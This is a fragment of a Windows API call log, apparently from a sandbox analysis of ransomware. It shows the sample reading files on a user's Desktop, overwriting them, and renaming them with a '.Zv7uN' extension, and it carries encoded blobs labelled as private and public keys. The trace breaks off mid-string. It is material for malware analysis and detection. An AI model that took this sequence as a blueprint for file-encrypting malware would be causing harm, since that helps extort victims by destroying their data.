ftCreationTime.dwLowDateTime=0x9d9e8ce0, ftCreationTime.dwHighDateTime=0x1d5de19, ftLastAccessTime.dwLowDateTime=0xa1de0820, ftLastAccessTime.dwHighDateTime=0x1d5e086, ftLastWriteTime.dwLowDateTime=0xa1de0820, ftLastWriteTime.dwHighDateTime=0x1d5e086, nFileSizeHigh=0x0, nFileSizeLow=0xbc38, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="anR_vEBPJQoHgy6nuS.flv", cAlternateFileName="ANR_VE~1.FLV")) returned 1 [0126.714] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.714] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.715] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\anR_vEBPJQoHgy6nuS.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\anr_vebpjqohgy6nus.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d9e8ce0, ftCreationTime.dwHighDateTime=0x1d5de19, ftLastAccessTime.dwLowDateTime=0xa1de0820, ftLastAccessTime.dwHighDateTime=0x1d5e086, ftLastWriteTime.dwLowDateTime=0xa1de0820, ftLastWriteTime.dwHighDateTime=0x1d5e086, nFileSizeHigh=0x0, nFileSizeLow=0xbc38)) returned 1 [0126.715] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\anR_vEBPJQoHgy6nuS.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\anr_vebpjqohgy6nus.flv")) returned 0x20 [0126.715] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\anR_vEBPJQoHgy6nuS.flv", dwFileAttributes=0x80) returned 1 [0126.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.719] GetCurrentThreadId () returned 0xa30 [0126.719] GetCurrentThreadId () returned 0xa30 [0126.719] GetCurrentThreadId () returned 0xa30 [0126.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.720] GetCurrentThreadId () returned 0xa30 [0126.720] GetCurrentThreadId () returned 0xa30 [0126.720] GetCurrentThreadId () returned 0xa30 [0126.720] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\anR_vEBPJQoHgy6nuS.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\anr_vebpjqohgy6nus.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.720] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.720] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.720] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xbc38 [0126.721] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.721] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0xbc38, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0xbc38, lpOverlapped=0x0) returned 1 [0126.723] CloseHandle (hObject=0x120) returned 1 [0126.725] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\anR_vEBPJQoHgy6nuS.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\anr_vebpjqohgy6nus.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.728] WriteFile (in: hFile=0x120, lpBuffer=0x1f04fa0*, nNumberOfBytesToWrite=0xbc38, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f04fa0*, lpNumberOfBytesWritten=0x18f978*=0xbc38, lpOverlapped=0x0) returned 1 [0126.732] CloseHandle (hObject=0x120) returned 1 [0126.733] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\anR_vEBPJQoHgy6nuS.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\anr_vebpjqohgy6nus.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\anR_vEBPJQoHgy6nuS.flv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\anr_vebpjqohgy6nus.flv.zv7un")) returned 1 [0126.736] GetCurrentThreadId () returned 0xa30 [0126.736] GetCurrentThreadId () returned 0xa30 [0126.736] GetCurrentThreadId () returned 0xa30 [0126.736] GetCurrentThreadId () returned 0xa30 [0126.737] GetCurrentThreadId () returned 0xa30 [0126.737] GetCurrentThreadId () returned 0xa30 [0126.737] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbecb8c0, ftCreationTime.dwHighDateTime=0x1d5dfb4, ftLastAccessTime.dwLowDateTime=0x6c6c79a0, ftLastAccessTime.dwHighDateTime=0x1d5e825, ftLastWriteTime.dwLowDateTime=0x6c6c79a0, ftLastWriteTime.dwHighDateTime=0x1d5e825, nFileSizeHigh=0x0, nFileSizeLow=0x9001, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="As_s0.xlsx", cAlternateFileName="AS_S0~1.XLS")) returned 1 [0126.737] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.737] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.737] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\As_s0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\as_s0.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbecb8c0, ftCreationTime.dwHighDateTime=0x1d5dfb4, ftLastAccessTime.dwLowDateTime=0x6c6c79a0, ftLastAccessTime.dwHighDateTime=0x1d5e825, ftLastWriteTime.dwLowDateTime=0x6c6c79a0, ftLastWriteTime.dwHighDateTime=0x1d5e825, nFileSizeHigh=0x0, nFileSizeLow=0x9001)) returned 1 [0126.737] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\As_s0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\as_s0.xlsx")) returned 0x20 [0126.737] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\As_s0.xlsx", dwFileAttributes=0x80) returned 1 [0126.740] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4H